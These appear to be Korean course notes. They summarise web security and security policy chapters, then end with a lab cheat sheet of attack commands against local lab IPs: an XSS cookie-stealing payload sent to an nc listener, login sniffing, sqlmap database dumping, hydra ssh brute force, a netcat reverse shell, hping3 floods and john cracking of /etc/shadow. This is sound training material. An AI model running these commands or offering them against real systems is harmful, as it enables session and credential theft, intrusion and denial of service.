## 🛡️ 제09장 웹 보안과 웹 서버 보안 요약 및 인사이트
---
### 1. 사용자 인증: "누구인가?" (Who)
단순 지식을 넘어 생체 정보와 심리적 영역(뇌파)까지 진화하는 인증 수단을 다룹니다.
* **패스워드:** ROT13/47 등 인코딩과 파일 암호화를 통한 보관의 중요성.
* **공인인증서(PKI):** 공개키 기반 구조의 신뢰성 확인 및 폴더 구조 이해.
* **생체 인증:** 지문, 홍채, 얼굴 등 고유 정보를 활용하되 **FAR(오인식률)**과 **FRR(오거부률)**의 균형(EER)이 성능의 핵심.
### 2. 접근 통제: "무엇을 할 수 있는가?" (What)
권한 부여의 모델링을 통해 정보의 기밀성과 무결성을 보장합니다.
* **DAC(임의적):** 소유자 판단 (유닉스 권한).
* **MAC(강제적):** 관리자 판단. 기밀성의 **Bell-LaPadula**(내려쓰기 금지), 무결성의 **Biba**(올려쓰기 금지) 모델.
* **RBAC(역할기반):** 사람이 아닌 '직책'에 권한 부여 (실무에서 가장 많이 활용).
### 3. 입력값 검증: "안전한 데이터인가?" (How)
가장 치명적인 웹 공격을 코드 레벨에서 방어하는 실무 핵심입니다.
* **SQL 인젝션:** `Prepared Statement` 객체 사용이 가장 확실한 방어법.
* **XSS:** `<`, `>` 등 특수문자를 HTML 엔티티로 치환하여 스크립트 실행 방지.
* **필터링 전략:** **서버 측(Server-side)** 검증이 필수이며, 허용된 것만 받는 **화이트리스트** 방식이 보안상 유리.
### 4. 아파치 웹 서버 보안: "기반 시설 강화" (Base)
서버 설정값 한 줄이 정보 유출을 결정합니다.
* **디렉터리 리스팅 금지:** `Options -Indexes` 설정을 통해 폴더 내 파일 목록 노출 차단.
* **심벌릭 링크 제한:** `FollowSymLinks` 설정을 주의 깊게 관리하여 시스템 파일 접근 방지.
* **로그 관리:** `access.log`와 `error.log` 분석을 통해 공격 징후를 조기에 포착.
---
### 💡 실무 보안 인사이트: "Defense in Depth"
보안은 단일 솔루션으로 해결되지 않습니다. **강력한 인증(Authentication)**으로 문을 잠그고, **접근 통제(Authorization)**로 복도를 제한하며, **입력값 검증**으로 반입 물품을 검사하고, **서버 로그**로 감시 카메라를 돌리는 **'계층적 방어(Defense in Depth)'** 체계를 구축하는 것이 웹 보안의 본질입니다.
---
## 🛡️ 제10장 보안정책, 조직, 솔루션 요약 및 인사이트
### 1. 보안 정책: 보안의 나침반
보안 사고 예방의 시작은 명확한 기준을 세우는 것입니다. 정책은 상위 개념에서 하위 실행 단계로 이어지는 피라미드 구조를 가집니다.
* **보안 정책 구조:** 1. **Policy(정책):** 조직의 최상위 보안 방향 (선언적).
2. **Standards(표준):** 반드시 지켜야 할 기술적 기준.
3. **Baselines(기본선):** 최소한으로 유지해야 할 보안 수준.
4. **Guidelines(지침):** 권고 사항 및 방향 제시.
5. **Procedures(절차):** 실무 매뉴얼 (가장 구체적).
* **글로벌/국내 표준:** 국제 표준인 **ISO 27001**과 국내 통합 인증 체계인 **ISMS-P**를 통해 기업의 보안 수준을 객관적으로 증명합니다.
* **BYOD 보안:** 개인 기기 업무 활용이 늘어남에 따라 **VPN, MDM(기기 관리), MAM(앱 관리)** 도입이 필수적입니다.
---
### 2. 보안 조직: 보안의 엔진
정책을 실행하고 감시하는 인적 자원 체계입니다.
* **5-5-7 권고안:** 금융권 기준 전체 인력의 5%는 IT 인력으로, 그중 5%는 보안 인력으로, 전체 예산의 7%는 보안에 투자하도록 권고합니다.
* **CISO(최고 정보보호 책임자):** 보안 전략을 총괄하며, 경영진과 기술팀 사이의 가교 역할을 합니다.
* **업무 분리:** 보안 정책 수립, 시스템 운영, 감사(Audit) 조직을 분리하여 **상호 견제**가 가능하도록 구성하는 것이 핵심입니다.
---
### 3. 보안 솔루션: 보안의 방패
다양한 위협 경로에 대응하기 위한 기술적 도구들입니다.
| 솔루션 | 핵심 기능 | 비유 |
| --- | --- | --- |
| **VPN** | 암호화 터널을 통해 안전한 원격 접속 제공 | 전용 지하 통로 |
| **IPS** | 비정상 트래픽을 실시간 탐지하고 차단 | 무장 보안 요원 |
| **스팸 차단** | 메일 헤더/본문 필터링으로 악성 메일 차단 | 우편물 검사기 |
| **DRM** | 문서 자체를 암호화하여 권한별 열람 통제 | 암호가 걸린 비밀 문서 |
| **SIEM** | 다양한 로그를 통합 분석하여 이상 징후 포착 | 중앙 관제 센터 |
---
### 💡 실무 보안 인사이트: "정책 없는 솔루션은 낭비다"
많은 기업이 고가의 보안 솔루션(SIEM, IPS 등)을 도입하고도 사고를 당합니다. 그 이유는 **'정책(Policy)'**이 현장 실무와 동떨어져 있거나, 이를 운영할 **'조직(Organization)'**의 전문성이 부족하기 때문입니다.
보안 솔루션은 정책을 자동화하는 도구일 뿐입니다. **"우리 조직의 핵심 자산이 무엇인가?"**라는 질문에 대한 정책적 답이 먼저 서 있어야 비로소 솔루션이 제 성능을 발휘할 수 있습니다.
---
(12.29)
XSS 공격으로 세션을 탈취해 보자.
nginx에 httpOnly 옵션 끄기 (설정 오류)
vi /etc/nginx/sites-available/default
proxy_cookie_flags ~ httponly off;
공격자 탈취서버 구동 (nc)
while :; do nc -l -p 80 >> /tmp/hack.log; done
게시판에 민원글 남기기
<SCRIPT>
location.href="http://192.168.186.128/?data="+document.cookie;
</script>
세션탈취 확인하기
tail -f /tmp/hack.log
서버쪽에서 로그인하는 사용자들의 입력정보를 스니핑 해보자.
공격자가 어찌어찌 서버 쉘을 얻었다.
tcpdump -i ens33 -A -s 0 'tcp port 80'
-> tcpdump는 스트림으로, 종료전 문자열을 grep으로 넘기지 못한다. 다음을 추천!
ngrep -q -d ens33 'POST /login.jsp' port 80
sqlmap을 써보자.
(공격자)
sqlmap -u "http://WEB_SERVER_IP/login.jsp" --dbs --current-user --tables --forms --batch -D cloud_db --dump
nikto
nikto -h http://192.168.186.131
nmap
nmap -sV 192.168.186.131
* 무작위 대입공격(ssh)
hydra -l admin -P rockyou.txt ssh://192.168.56.101
(관제) tail -f /var/log/auth.log
* 리버스쉘
(공격자 서버) nc -lvnp 4444
(희생자)
sudo apt install netcat-traditional -y
nc.traditional 192.168.186.133 4444 -e /bin/bash
* 숨겨진 디렉토리 탐색(/admin, /backup, 등)
gobuster dir -u http://192.168.56.101 -w common.txt
(/usr/share/seclists/Discovery/Web-Content/common.txt)
(/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt)
* 사이트 복제
# 기본 사용법
httrack https://example.com -O "C:\websites\example" "+*.example.com/*" -v
# -O : 출력 디렉토리
# "+*.example.com/*" : 특정 도메인만 다운로드
# -v : 상세 모드
* ddos
# SYN 플러드 테스트
hping3 -S -p 80 --flood --rand-source [자신의_서버_IP]
# UDP 패킷 테스트
hping3 --udp -p 53 --flood [자신의_서버_IP]
# ICMP 패킷 테스트
hping3 --icmp --flood [자신의_서버_IP]
* john the ripper
apt install john -y
# shadow 파일을 크랙하기 위한 준비 (테스트 환경에서)
# unshadow 유틸리티로 passwd와 shadow 파일 결합
sudo unshadow /etc/passwd /etc/shadow > mypasswd.txt
# John으로 암호 크랙 시도
john mypasswd.txt -w=./rockyou.txt
# John으로 암호 크랙 시도 2
john -format=crypt mypasswd
# 크랙된 암호 보기
john --show mypasswd.txt